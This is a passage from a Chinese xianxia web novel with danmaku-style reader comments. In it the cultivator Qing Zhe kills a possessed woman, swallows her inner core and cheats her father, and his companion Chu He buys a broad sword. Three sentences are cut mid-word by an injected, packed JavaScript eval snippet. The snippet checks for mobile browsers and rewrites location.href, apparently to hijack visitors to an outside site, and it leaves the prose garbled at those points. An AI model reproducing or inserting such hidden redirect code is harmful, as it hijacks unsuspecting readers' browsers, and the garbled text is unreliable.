“你刚刚应该听见我说的话了吧?”见乔老二只是发抖,却死活不肯起来,青遮抽出尺子,一鞭子甩了上去,还特地瞄着他的肚子,“你是乔娘娘的父亲,你们俩血脉相连,所以她的孩子放不进你的体内,也就是说你肚子里的东西不是胎儿,要是还想活下去,就给我出声。” 乔老二捂着肚子麻溜儿地爬了起来。 “道长,道长嘿嘿,那个,我就是个普通人,能帮什么忙啊?” 变脸也是够快的。 “手伸出来。” “哦哦哦好的。” 三千尺缩回原本的三尺三寸三分,横过来照着乔老二的手指一割。 “嗷!” 乔老二顿时嚎得跟猪叫没什么两样。 「啊!我的耳朵!」 「果真天赋异禀,不仅长的像猪,叫的也像猪」 「不要辱猪了,猪好歹还能吃呢,他算了个什么玩意儿」 “行了,别喊了,闭嘴。” 青遮毫不客气地朝乔老二的脸扇了一尺子,直接把人扇懵了。 “我问,你答,把那些死动静给我憋回去。” 乔老儿眼泪汪汪地“嗷”了声。 “除了现在第五位姑爷外,乔娘娘前后嫁人大概间隔了多长时间?” 乔老二翻着眼算了算,“大概十个月左右吧。” “那现在这个,隔了多长时间?” “现在这个得有一年多了。” 也就是说那枚内丹已经有将近很长时间没有得到精气血肉的滋养了,难怪乔娘娘刚才没有选择将内丹吞服,而是继续放在婴儿的尸体里,用自己的血来驱动,大概是怕没用经过温养的内丹太过霸道,一入体便会承受不住爆体而亡。 “伸手。” “啊?还伸啊?” 只要乔娘娘没有将内丹吞服下去,那么解决她的方法就从「杀一个起码金丹以上级别的修士」变成了「斩断那具婴儿尸体和乔娘娘之间的联系」,难度骤降,没有什么比用血亲的血画出来的符更能起作用的了。 “把血,挤到这上面来。” 青遮随手指了一块有坑洼的石头。其实他完全可以拿着乔老二的手画符的,不过他嫌脏。 乔老二愁眉苦脸,一边忍着疼一边把血挤出来。 “好、好了吗道长?再挤下去我就要死了。” 「就你挤的这一坨,都不够我塞牙缝的」 「我大惊失色,前面的,倒也不必」 「这胖子是真怕死」 「是真怕疼吧」 “行了,可以了。”青遮一挥手,乔老二立马抱着手指缩到一边儿继续装死去了。 另一头,褚褐节节败退,怀里十多张事先画好的离火符和引雷符已经全都用完了,他现在完全是空手拿命搏。 “你看,你哥哥就这么把你推了出来,你心甘情愿吗?” 乔娘娘一掌击中他的胸口,褚褐喉咙一甜,差点吐血。 “我很早之前就告诉过你了,你哥哥是个骗子。” 还有半盏茶。 褚褐咬紧牙,硬生生把喉咙里那股子腥甜咽下去。 必须再坚持下来半盏茶,否则青遮那边就危险了,但是所有符咒都用完了,怎么办?要试试凭空画吗?但他还没有一次成功过,要不要赌一把? “你的哥哥……” “行了。”褚褐被那口堵在胸口的血整得有些烦躁,“哥哥哥哥你有完没完,你不就是想把我的道心也弄碎吗?我真是谢谢你了,我还没结丹呢。” 乔娘娘一噎,连出手的动作都滞了片刻。 「哦呦,换视角了,难得啊难得,我头一次看主角这边的视角」 「哈哈哈哈,乔娘娘:感情我白说了那么一通?」 「怎么褚褐跟着青遮还不过一个月,这烦躁起来的话术和表情都差不多了?」 「棕棕给我一种正在好好工作的途中突然被人拉着买保险的烦躁感」 「买保险哈哈哈哈姐妹你好有意思」 「可不就是买保险吗,话术都差不多→你看看没人爱你哦没人疼你哦你赶快道心破碎了吧我已经破了破过的都说好=你看看这个保险有这个作用哦有那个作用哦你也快买吧我已经买了哦买过的都说好」 “牙尖嘴利的臭小子。”乔娘娘又在手心处划了一道痕,更多的红色液体滴滴答答着盘旋上升,融进了她背上的婴儿尸体里面,“我倒要看看你还能嚣张到什么时候!” 看来她需要不定时地用血和婴儿建立联系。 褚褐猜测着,他虽没有青遮想的透彻和明白,但凭一些敏锐的直觉也能猜出几分端倪。 如果断了她和尸体的联系,她是不是就不能动用内丹的灵力了? 赌赌看! 褚褐手背在身后,一边跑着躲一边开始尝试捏诀起符,深红色的灵力擦着他的肩膀和胳膊炸开,撩起一片火辣辣的痛。 「嚯,这小子是真能躲啊」 「主角这反应神经也太好了吧,每次我都以为会打中,结果就被他一扭头躲过去了」 「天赋异禀,天赋异禀啊!」 「这位朋友,你从开头到现在说了几次天赋异禀了?」 「哎,这不一样,前面我是损,这个我是夸」 “臭小子,我看你还能躲到哪里去!” 刚刚被躲过去的几击灵力都是盯好位置去的,无论他是躲得开还是躲不开都中了她的下怀。 「卧槽卧槽卧槽怎么一眨么眼的功夫褚褐就被逼到乔娘娘那边去了?」 「靠,定点打击诱捕啊」 「敢情是提前定好位置打出去的灵力啊」 褚褐却迎了上来,“是你还能躲到哪里去。” 他伸出一只血淋淋的胳膊,抓住了乔娘娘背上的婴儿尸体,看着自己的血逐渐渗进尸体里污染了乔娘娘的血,咧嘴笑了。 “你!”乔娘娘怒了,过近的距离使她轻而易举掐住了褚褐的脖子,“你找死!松手!” “我不!” 还差一点。 褚褐背后的手颤巍巍地画着符的最后一笔。 “那你就去死吧!” 完成了! 一点金光闪过,褚褐当即出手,第一次完整画出来的离火符被甩出,距离刚好,炸开的火花飞溅到了乔娘娘脸上,引起她凄厉的尖叫。 “啊!!!” 褚褐被一掌击飞了出去,紧攥着的婴儿尸体也被他带了下来,摔在地上发出厚重的“砰”声。 “宝宝,我的宝宝哪里去了?” 乔娘娘惊慌失措地跪在地上摸索,摸到后连忙抱在怀里。 “宝宝,宝宝,我的宝宝。” 她欢喜地想要重新连接上婴儿尸体里的内丹,却发现没有任何反应。 “怎么回事?怎么会没有反应,怎么……” 她摸上了尸体的胸口,那里是存放内丹的地方,这一摸不要紧,滚烫的温度像针一样狠狠扎了了她一下。 愣怔片刻后她猛地抬头。 “对,我想起来了,你是八岐宫的人,但为什么你的血……难道你也是……”她露出不可置信的神色,“居然真的有人成功了,而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060201|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还长大了……” 褚褐还是把那口憋在胸口里的血吐出来了,“你在说什么?什么意思?” 乔娘娘踉踉跄跄地站起来,“凭什么,凭什么你就活下来了,为什么我的孩子不可以,它差在哪里了,它还那么小,还……” 她顿住了,似乎在回忆,然而事实上她已经回想不起来对自己孩子的感情了。 她有些慌乱,怎么会记不得了呢? “那是因为你不是乔巧啊,一个心魔,需要什么感情?” “青遮!”褚褐眼睛唰地亮了,“你画好了?” “嗯。”青遮拎着他的衣领,把他往后带了带,绘符开启了阵法,“受伤了?” “我没事儿。”青遮强装镇定,结果胸口就挨了青遮一巴掌,“嘶!” “不是说没事吗?”青遮掏出装有回血散的药瓶丢到他怀里,“下去疗伤,顺便把乔家一众人带走。” “不行,我不走。”褚褐一口回绝,“我走了你怎么办?” “阵法已经将她困住了,没问题了,别留在这儿让我分心(碍眼)。” 褚褐被“分心”这个词取悦到了,抱着药瓶嘿嘿一笑,脑子里飘过的全是“青遮果然很重视我”,乖乖带着多余的乔家人走了。 “其实本来应该用你父亲的血来画阵的。” 不过那样的话乔老二就得失血而亡了,青遮倒是不介意这样做,只不过褚褐还在场,在他面前手上沾太多血腥不太好,吓到他就糟了,他已经因为没太控制住情绪抽了他一顿了。 “现在只能拿你父亲的血画符来布符阵,虽然效果比直接用血差了点,不过我觉得够用了。” 点点血迹从符纸上飘起,抽丝,分散,交织成了一张密密麻麻的红色大网,牢牢锁住了中心的乔娘娘。 “你还有什么话想说吗?” 她别过了脸。 “好,你没有,我有。”青遮走近了几步,蹲了下来,“我有一个问题,还麻烦乔娘娘为我解答。” “那个人是谁?” “你说什么?” “那个人,是谁?”青遮重复,“因为我无论如何也想不明白,你是怎么杀了你的第一任夫君的,你当时快死了不是吗?但是如果有人帮你的话那一切就说得通了。” “我猜测你告诉我们的事情里,有些部分被调换了顺序。比如,其实你的夫君死在你之前。又比如,你并没有杀了他,而是有人替你杀了他,然后把他的内丹剖出来,放在了你的体内。” “我猜得对吗?” 乔娘娘死死盯着他,不说话。 “我想我知道你的答案了。” 青遮站起来,用乔巧极度厌恶的俯视姿态,居高临下地看着她。 “对了,顺便告诉你,其实你不是乔娘娘,你就是乔巧。” 乔巧猛地抬起头,“你什么意思?!” “我想那个救了你的人,应该没告诉你关于心魔的全部东西吧。你知道心魔实体化的概念是谁提的吗?就是八岐宫。” “心魔其实就是修道之人一时想岔了没调整过来而已,大家一开始都不怎么拿它当一回事,只有八岐宫的人认为心魔是相当具有研究价值的东西,因为说白了,修道修的更多是自己的那份心,他们信奉心主宰一切,他们觉得心魔是可以帮助修士更上一层台阶的助力,是有别于宿主的另一个有意识的存在,这就是心魔实体化的雏形。” “只不过,他们现在没有搞出一个实体化来证明就是了。” “……你骗我。”乔巧嘶哑着声音,“你撒谎。我就是乔娘娘。” “我没有撒谎,你就是乔巧。” “不!你撒谎!”乔巧朝前一扑,却被身上的红线牢牢束缚住了行动,“你骗我!你根本不知道……” “不,我知道。”青遮平静,又残忍,“八岐宫养了很多不知名的小宗派,他们只需要每天吃八岐宫拨下来的份例就能衣食无忧,而他们唯一要做的事情就是,帮八岐宫处理一些见不得人的事、藏一些见不得人的书,而我的宗派,恰巧就在其中。” 所以青遮偷看过八岐宫所有的书,知道八岐宫不少的肮脏事情,也学会了修真界大部分被禁的符咒术法,包括夺舍之法。 “你被欺骗了,这不怪你,不是你的错。” 青遮缓慢地抚摸着乔巧的头,慢条斯理地仿佛手底下不是一只可以吃人的猛兽。 “我可以帮你,只要你付出一点小小的代价。” “你要……什么?” “我要,你的那枚内丹。” 12. 障目叶(小修) 内丹一旦离体,就变成了一枚连治伤寒的药丸都比不上的废丹。 但那是对别人,对青遮可不是。 “你的身体已经被内丹侵蚀得差不多了,活不了多久了。” 青遮伸出手。 “交换吗?我帮你杀了那个人,你给我你的内丹。” “我凭什么……我凭什么相信你?” “我没让你相信我,大不了就是我解开符阵,你走,然后我给你指一条去八岐宫最快的路。不过你最多还能再活不到七天时间,以你现在的能力,你连八岐宫外护法大阵的第一层都过不了。” 青遮被拒绝也不气不恼,他收回抚摸她的手,状似无意道:“对了,还有个事情没告诉你,你的那位父亲也活不了多久了,你在他肚子里放的虽然只是一团滥竽充数的气,但胎殖咒之所以让人闻之色变,就在于它过于霸道蛮横的效用,无论你在他肚子里放了什么,胎殖咒都会默认它是一个胎儿。你的父亲大概还能再活……两个月吧。” “……卫休阑。” “什么?” “我的第一任夫君,叫卫休阑。”乔巧垂眼,已经爬上半边天空的太阳的光穿过花丛杂草映在她的侧脸,漂亮得惊人,“至于那个救了我的人,我不知道他叫什么,我也没看到他长什么样子,但他的左手上,有一道月牙状的白色印记。” 青遮满意地勾起嘴角。 “很棒,你还是说出来了。” 他亲昵地拍了拍乔巧的脸,另一只手却控制着束缚住她的红线猛地绞紧。 “那么,交易成立。” 砰。 很轻微的一声。 按理来说绘制了那么久的符阵到最后只发出了那么一点微不足道的动静似乎有些莫名其妙,仿佛这个人的死就是引起不了多大的反响。 死在了种满花的后园,也算不错吧。 青遮弯腰,拾起那枚金色的内丹,只有自己的指甲大小,像一枚金光闪闪的珍珠。 真是漂亮的东西。 青遮把它举了起来,对着太阳。 果然,人对自己没有的东西总是充满着欲望的。 青遮从不吝啬讲欲望,他本身就是炉鼎,欲望是对他最好的描述。 他将内丹抵在唇边,张开嘴,手指一推,咽了下去。 「!!!等等!他在干什么?吃了?!」 「内丹原来是可以吃的吗?!」 「不儿,不是说修士的内丹普通人用不了吗?不是说会伤身体吗?」 「这哪里是用啊?这不是吃吗?」 「他吞得这叫一个果断决绝呀,反正我是没看出来伤身体」 「是不是跟八岐宫的邪术有点关系?他不是说他看过很多吗?」 「有没有人能解释一下那个心魔实体化是怎么回事?我怎么没看懂?怎么一会儿是乔娘娘一会儿是乔巧的,到底乔巧是不是乔娘娘啊?」 「这不很简单吗?青青不都已经说了吗,心魔大概在修真界没啥人会当回事儿,只有八岐宫的那群傻x玩意儿才觉得有研究价值」 「这个我知道啊,可是不是说心魔实体化没有出现过吗?乔巧也不符合,那怎么会性情大变成这样?不合理啊」 「其实很合理,青青也说过了,修士修的是心,或者我觉得换成信念更合适一些,那群修士们搞的大概是“你相信自己做得到就一定做得到”的意识至上论,那个神秘人拿心魔的概念糊弄乔巧,乔巧不了解这些东西,理所当然会听信神秘人的话认为自己不是乔巧,换句话说,她自我认知出问题了,会不自觉往着心魔那个方向走,呃我说的有点乱,但大概是这个意思」 「姐妹厉害!我意会到了!」 「我听这意思,合着青遮前面说的“你不是乔巧,而是乔娘娘”这句话不止在诈乔巧,他连我们也一起诈?」 青遮感受着自腹部向四肢蔓延开的灵力,以及身体明显暖起来的舒适感,被困在乔府一天一夜的坏心情总算转晴了。 “青遮!” 安顿好乔家众人的褚褐,因为不放心还是赶了过来。 “你——”他环顾了一圈,没有发现乔巧的身影,“你已经解决了吗?” “嗯,结束了。” “她,死了?” “死了。”青遮注意到褚褐明显发懵的表情,“你在哀怜她?” 褚褐下意识地道歉:“对不起,我知道这不应该……” “为什么不应该?没什么不应该的。” 青遮将褚褐跑了一晚上快要散开的头发再次束紧,银色的发冠深嵌在发丝里,在阳光下熠熠生辉。 “你有权利哀怜,就像她有权利杀掉伤害自己的人。” 褚褐急切:“所以,她是对的吗?” “我说的是权利,不是对错,权利没有对错。人更没有。”青遮道,“人是很复杂的东西,不能简单的用对和错来形容。” “那,青遮,如果你是她的话,你当时会怎么做?” “没有如果,我不会是她。人永远会对别人的事情持一种高高在上的态度,认为自己来做会做的更好,实则不然。” 青遮回望了一眼摆放符阵的地方,太阳已经完全升起来了,耀眼的光照在那个地方,连同着风一起,摇晃着那里的一朵花,一朵新生的十二瓣的刺瑰花。 “更何况,我是男子,性别上的差异让我永远无法想象甚至体会到她的困境。所以,没有如果。” 「没有如果……好震撼」 「流泪了呜呜呜呜呜青青是好宝宝」 「说得好好,有些人就是会把“这件事要是我来做一定会怎么怎么样”巴拉巴拉之类的话挂在嘴上,说不定还没有原来的人做的好呢」 「主角感觉受到了很大的冲击啊」 「其实我觉得青遮跟他说的这些话,对塑造他的三观来说是很有价值的,毕竟他以前生活在那种地方」 “道长!道长哇!”乔老二远远地像一个球一样滚了过来,“为什么我的肚子还是胀的啊?我女儿她不是死了吗?” 「嘚!我正感动呢把这老贼忘了!」 「说起来他是罪魁祸首吧,他居然还活着,这合理吗?」 「他真的要再活两个月吗?不能现在立刻原地暴毙吗?」 “啊,乔老爷啊。”青遮现在看他跟看一大袋钱没什么两样,“我记得我跟你说过,你肚子里的不是胎儿。那只是一团气罢了,所以你女儿死了你肚子当然会保持原样。” “也就是说、也就是说两个月之后我还是会死?” “对。” “哎呦道长,道长,你救救我吧道长。”乔老二噗通一声给青遮行了个大礼,“求你了求你了!我可以给你钱,给你很多很多钱!求你了救救我这条贱命吧,把它消下去吧!” 「你也知道你是条贱命啊」 「不会吧,不会真的治吧?」 「能不能假装治好了骗钱啊?」 「对!我同意前面姐妹的观点!咱们狮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060202|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子大开口一把!咬死他!」 “消下去?所以你的诉求就是让你的肚子消下去,对吗?” “对,对,我想活……” “我可以让它消下去。”青遮打断了他,没让他把完整的一句话说完,“但你得把你一半的家产都给我,你愿意吗?” 「……我擦,这是不是有点太狮子大开口了?」 「哇哦,比我想的还敢要」 乔老二直接结巴了:“一一一半?这这这这……” “你也可以不给。” “诶诶诶别别别。”乔老二连忙拉住青遮,他低头看了看自己的肚子,一咬牙一跺脚,“好,我给!” 要是就这么死了,再多的钱还有什么用啊。 鉴于青遮是个修士,乔老二还特地将钱放进了修道之人会用的乾坤袋里递了过去。面对乔老二明晃晃的讨好,青遮毫不客气地接受了。 “把衣服掀起来。” 乔老二忙不迭地照做。 青遮不是很想碰他,所以刻意隔着一段距离画了张符。 “可以了。” 乔老二低头一看,肚子果真消下去了,顿时喜不自胜地扣头拜谢:“哎呦谢谢道长!道长的大恩大德,我没齿难忘啊。” “不用谢,举手之劳。”青遮受了他的礼,“既然乔家已经没事了,那我和弟弟先告辞了。” “好的好的道长您忙,恭送道长。” 「啊?真就这么救了?」 「不应该吧」 「nonono我不接受我不接受!」 “青遮。”出了乔府的门,褚褐才开口询问:“你刚刚画的那张符——” “那个啊,那个就是一张……” “是一叶障目对吗?” “嗯?”青遮转过头,“你认识?” “你给我的书,我已经看得差不多了,虽然没有全背下来,但还算有些印象。所以,是一叶障目符,对吗?” 全看完了?一个月? 青遮不得不重新审视着褚褐。 这家伙的天赋比我想象中的还要好啊。 “是,那的确是一叶障目符。” “所以你根本没有想救他?” “是他亲口说的,他需要将肚子消下去,我也如他所愿将他的肚子消了下去,至于两个月之后会发生的事情,那就不关我事了。” 「哦哦哦哦哦!文字游戏!」 「好家伙,我真的以为青遮要救他,吓死我了」 「不儿,怎么这次又是连着我们一起诈啊?」 「没人注意到主角说的话吗?他把那堆子书都看完了耶还背了一部分耶」 「靠,这种记忆力是真实存在的吗?」 「不愧是主角」 「不愧是天才」 「要不主角,你过来帮我考公吧,国家需要你这样的人才!」 「前面的,你学魔怔了?」 “怎么?你是在责怪我没救他吗?” “不,不是。”褚褐摇头,“你无论做什么我都觉得是正确的,你一定有要这么做的理由。” “这么信任我?”青遮回想起乔巧那姑娘骂他人渣的话,语调都历历在目,突然有些好奇要是褚褐知道自己骗了他会是一副怎样的表情,“你不怕我骗你?” “如果你骗我。”褚褐站定,抬起头,背着光的黑色瞳仁像一弯黏稠的泥月亮,“我觉得应该也是有理由的吧。” 所以我接受你骗我。 13. 落九天(小修) “各位道友,不周山已经到了,可以下船了啊。” 舷梯从几十丈高的船上往下一节节抻开,码头一位负责停船的人好奇瞄了一眼,跟身旁的同伴搭话:“怎么今天仙船上的人这么多啊。” “可能是因为日子要到了吧。” “什么日子?” “你过傻了?这不,五大宗的招生试炼啊。” 船上的人都走光了,楔进地面的船锚收起,发出肃肃飒声,船体重又升了起来,闷重的轰声裹挟着嘶鸣的风,短短几个呼吸间,仙船就消失在了众人眼前。 “五大宗啊,的确,最近来不周山的仙船越来越多了。” “十年一轮,又有好戏看咯。” 有没有好戏看是不知道,只不过立志于要在招生试炼上好好表现一番的褚褐,此刻正扶着码头的木桩干呕,胆汁都快吐出来了。 “你晕缩地符和传送阵就算了,怎么连船都晕?” 青遮扔了张帕子过去,让他擦擦。 “我以前毕竟没出过远门,不习惯这些东西。”褚褐白着一张脸,本就晕得难受,一抬头,还委屈上了,“青遮,用得着躲这么远吗?” “脏。”青遮言简意赅,“弄干净再过来。” 褚褐只好委屈巴巴地挪得更远了些:“哦好。” 褚褐瘫在地上缓了会儿,总算把胃里那一阵翻江倒海的劲儿给熬过去了。 “青遮,八岐宫不是以制药炼药闻名吗?”褚褐接了点水漱口,“怎么不见他们卖晕船的药啊。” “你见过有人晕仙船吗?”青遮和街旁的商贩交涉了一番,然后递过来块油纸包着的东西,“吃了。” “是什么?”虽然嘴上在问,但褚褐已经打开油纸准备塞到嘴里了。 “山楂糕,可以压一下难受的感觉。” 明明说过怕脏,却依旧关心着自己,褚褐觉得心暖,三两下把山楂糕塞到口里,含糊不清地道谢:“青啧你吼吼(青遮你好好)。” 我是怕你再吐,耽误行程。 青遮没把这句话说出来。 自凤头山一别,到现在已经有两个月了,借着从乔老二那里拿到的钱,他们度过了非常舒服的两个月,甚至最后一程都是搭着仙船走的。 不过青遮要是提前知道褚褐晕仙船的话,他是绝对不会浪费钱买船票的。 但又一想,这家伙还晕传送阵法和缩地符,要是都不用,总不能走着去吧。 “你要是以后御剑飞行怎么办?” 褚褐迟疑:“我不应该连御剑飞行都晕吧。” 看你的情况可真不好说。 “到了。” “嗯?”褚褐跟着停了下来,一抬头,硕大的一个牌匾映入眼帘,上书“神兵阁”三字。 “卖武器的地方?”褚褐把最后一口山楂糕咽下去,“青遮,咱们来这干什么?你不是有三千尺吗?” “是给你买。” “啊?我?”褚褐指指自己,茫然,“可我不用武器啊,我也不习惯用。” “我问你,你现在的符咒可以做到即符的程度了吗?” 即符就是挥手成符,无需画和念的过程,一般练到极致的人才能做到。 青遮可以,但他灵力不足,只能蓄力使用。 “呃,还不能。”褚褐挠挠脸,心虚地看向别处。 “不用心虚,你做不到才正常。” 如果只练三个月就能达到即符的程度,那那些结丹之后才能即符的人干脆集体跳崖得了。 “虽然可以带提前写好的符参加招生试炼,但总会有用完的时候。你凭空写符还不熟练,遇到危险的话当然要依仗手里的武器。” 青遮打量着这家神兵阁一楼墙上、货架上甚至是特别存放在琉璃罐里形态各异的武器,满意地点点头,看得出来这家店的武器品质都算得上不错。 他以前不是没动过给褚褐买武器的念头,只不过去过的那些地方的神兵阁,里头的东西都太次,不值当花钱。 “哎呦有客人来了啊。”一伙计注意到他们,殷勤地跑过来,“客人,您是想自己先看着还是我来给您介绍?” “给他买的。”青遮指指褚褐,“你带他去看看。” “好嘞。”没想到今天一开门就有生意找上门了,阿肆喜不自胜,“客人,这边请。” “客人有熟悉的武器类型吗?” 褚褐扫视了一楼琳琅满目的货架一圈,摇了摇头,“没有。” “喜好呢?” “也没什么感觉,这是我第一次来买。” 阿肆懂了。 “那客人,我来给您介绍介绍?” “行,你说吧。” “客人,咱们神兵阁有三层,第一层是刀枪剑戟弓之类的普遍用的最多的武器。你要是不想跟别人用一样的,第二层有异形武器可以选。要是还不合您的心意,可以定制,把您的要求告诉我们,第三层专门做定制。” “你这里可以定制?”青遮突然出声,“那接不接武器的改良精进?” “我们接的。这位客人要改良什么啊?” 青遮手一翻,把镯子里的三千尺召唤出来。 “我想把它的原料全部换成银钊木。” “银钊木?”阿肆当即正色,他仔仔细细绕着三千尺看了一圈,再抬起头来时笑已经收了起来,表情恭恭敬敬,“这位客人稍等片刻,我去请我家主子下来。” 褚褐看着阿肆哒哒哒跑上楼的殷勤劲儿,不由好奇:“青遮,你这把尺很贵?” “是银钊木贵,不是这把尺子贵。” “值多少?” “我当年用的大概只是拳头大小的原料,差不多要卖上两千金。” “两千?!还是金?!”褚褐目前接触到最大的钱还是乔老二塞过来的一千一张的银票,他不由目瞪口呆,“难怪你会让我来管钱袋,原来是看不上这点钱。” “不是看不上。那两千金的原料也不是我买的。”是当时八岐宫下放给下面的小宗门乱七八糟的一堆东西里的,金门宗那帮子蠢货真把它当成颜色漂亮一点的普通木头了,差点扔掉,还是他最后认了出来,然后理所当然地昧走了。 “让你管钱袋,也是因为我没什么金钱概念,会乱花。” 这倒是真的。 褚褐深以为然。一路上他算是看清了,即使青遮不是个不食烟火的修士,估计以前也是个十指不沾阳春水的公子哥儿。别人卖东西,报多少钱他给多少钱,连价都不还。一问他,还难得茫然,“是要还价的吗?” “那青遮,我们乾坤袋里的钱,能够吗?” “不够就先给你买武器,我这边不是很急。” 交谈间,阿肆领着范康年下来了。 “是你要改银钊木?”虽说这句话是对着青遮说的,但范康年看都没看他一眼,直奔着三千尺过来了,那热切程度,就差拿眼睛贴在上面看了,“嗯,你这把尺是异形的吧?可以拉长的那种。” “是。” “那我不建议你把原材料全改成银钊木。”范康年打量完了,直起了腰,“银钊木会改变它的软硬程度,变形拉长时很有可能会卡住。” “那依老先生看,该怎么改?” “你的诉求是什么?” “不沾血,不粘肉,不易断,更轻更快更便捷,还有。”青遮轻飘飘瞥了一眼褚褐,“打人疼。” 褚褐没注意到这一眼,否则肯定又要打哆嗦。 “那就加点人鳞、陨星矿还有中和它们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060203|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的稻泥进去。”范康年拿起三千尺,上下掂了掂,“你的尺不需要开刃?” “开刃不就成了剑?” “可以做局部开刃,这样不伤你的手,变形成鞭子的时候自带刺刃,也能做到绞人血肉。” “不用了,杀戮气太重,和我所修之道相违背。” 青遮随口糊弄拒绝了,实际上也不算完全说谎,他自己灵力微弱,掌控不了杀气太过的武器,一旦反噬就麻烦了。 “大概多久能做好?” 范康年并指放在三千尺上慢慢划过,“你们是来参加五大宗招生试炼的吧?放心,不会耽误你们,最近单子虽然多,但是我们的锻造师傅也不是吃素的,你要是实在急,就加钱,现在就能给你做。要是不急,三天。” 青遮略微思考了一下,果断:“加钱,现在做。” “好嘞,客人是个爽快人。”薛康年把三千尺抛了回去,“那就随我上一趟三楼吧。” “青遮。”褚褐喊住他,“我就不跟你上去了,我大概知道我想要的武器是什么了。” “可以。那你在下面等我。别乱跑。” 青遮咬重了最后一句。 褚褐听懂了,后颈一阵麻意,没等他应允下来或者做什么保证,青遮就转过身去,随着那人上楼了。 这是料我也不敢不听的意思吗? 褚褐摸摸鼻子,叹息,他心情有些矛盾,他的确不敢不听,不是怕打,是怕青遮冷脸。虽然青遮平时也很少笑,但是他甩人鞭子时的冷脸和平日里的冷脸可太不一样了,虽然具体他也说不上个所以然来。 “客人,您看中什么武器了?” “有像青遮手里那样的剑吗?”褚褐跟阿肆比划,“尺状的,但更宽,有柄,不用徒手拿的那种。” “哦哦哦,客人说的是宽剑吧?”阿肆示意他跟上自己,把他带到了神兵阁的二楼,“您等等,我给您找找。” 二楼的面积比一楼更大,存放的武器也越多,阿肆在角落里翻了半天,总算是从犄角旮旯里找出来了。 “客人,您看看,是这样的不?” 一把起码九寸宽的巨型重物“砰”地落到他面前,褚褐眼睛一亮,“对,是这个样子的!不过这看起来有点脏啊,怎么全是尘土。” “其实您刚刚跟我提要求的时候,我就想说了,我们这儿虽然有,但这把剑有些年头了,现在没人用宽剑重剑了,您看看。”阿肆费劲吧啦地把剑抬起来指给他看,“这把剑,足足有九寸宽,普通的剑鞘根本用不了,因为它太宽了,拔不出来,所以就要在剑鞘侧面开口,做侧拔剑,有些用剑的剑修不习惯。还有。” 他把剑换了个面,方便让褚褐看得更清楚些。 “它全身都是用天山陨铁打造的,没有一丝一毫杂质。虽然原料一等一的好,但架不住它重啊,现在的修士,出招讲究快准狠,就连您的那位朋友,他的武器是把木头做的尺子,已经够轻了吧?他还想要更轻,一样的道理。所以这把宽剑就一直放在二楼的角落里,没人要。您真的不用再考虑考虑了?就您这个身板,窄条儿剑更适合您点儿。” “不用,我很喜欢这把剑。” 褚褐手一抬,轻轻松松接过了阿肆手里的宽剑,爱不释手地打量。 “对了,这剑有名字吗?” “神兵阁的武器都没有名字,对于修士来说,武器相当于修士的第二条命,所以神兵利刃的名字当然也要主人来取才行,我们是没资格为它取的。”阿肆觑着褚褐的神色,看他是真喜欢,也就不阻拦了,“要不您给它取一个吧。” “行,那就叫——” 褚褐握住剑柄,挥剑砍出,玄色的剑身撞上风,荡出一片波纹,像流云飞彩。 “就叫它落九天吧。” 14. 友人酒(小修) “好!” 几声非常清脆的鼓掌声传过来,吓得褚褐手里的重剑差点杵地上。 “这位兄台剑舞得真是不错。”一锦袍青年摇着手里的折扇,站在楼梯的台阶上,对他大肆赞赏,“起的名字也好,这年头用重剑的人寥寥无几,你是我见到的第一个。” 褚褐稳住手里的剑,“你是?” “在下屈兴平,荡尽天下不平事就是我屈兴平了。”青年朝他拱手,“也是来参加五大宗招生试炼的。” “你好,我叫褚褐。”褚褐连忙还他礼,“你怎么知道我是来参加五大宗招生试炼的?” “嗐,这还不好猜?”屈兴平唰地展开扇子,搁在下巴那儿扇啊扇,“阁下年纪轻轻就有一身好武艺,不来参加招生试炼岂不可惜了?” “好武艺?”褚褐有些纳闷,他觉得自己拳脚功夫只能说是平平,断然评不上一个“好”字,“你、额您,您太高看我了。” “诶,这怎么能说是高看呢,你本来就很厉害嘛。”屈兴平从楼梯上下来,闲庭信步地走近,伸出手,“交个朋友吧,大家都是志同道合的道友。” 朋友? 褚褐眼睛眨也不眨地盯着对方伸过来的手。 这可是他除了青遮以外的第一个朋友。 “好,那就交个朋友。” 出于一种莫名的「第一次」情绪,他握上了屈兴平的手。 “诶,那边那个伙计,我朋友挑的这把剑,记在我账上。” “这不必这不必。”褚褐赶紧拒绝,“我自己付就行了。” “没事儿,小钱而已,就当我送你的见面礼好了。”屈兴平人豁达,好交友,出手也大方,不在乎钱,他挥挥手让阿肆先去结账,自己一把揽住褚褐的肩膀,“走走走,既然都是朋友了,我带你喝酒去!” “喝酒?” “你是第一次来不周山吧?不周山的酒最出名了!” “不用了,我……” 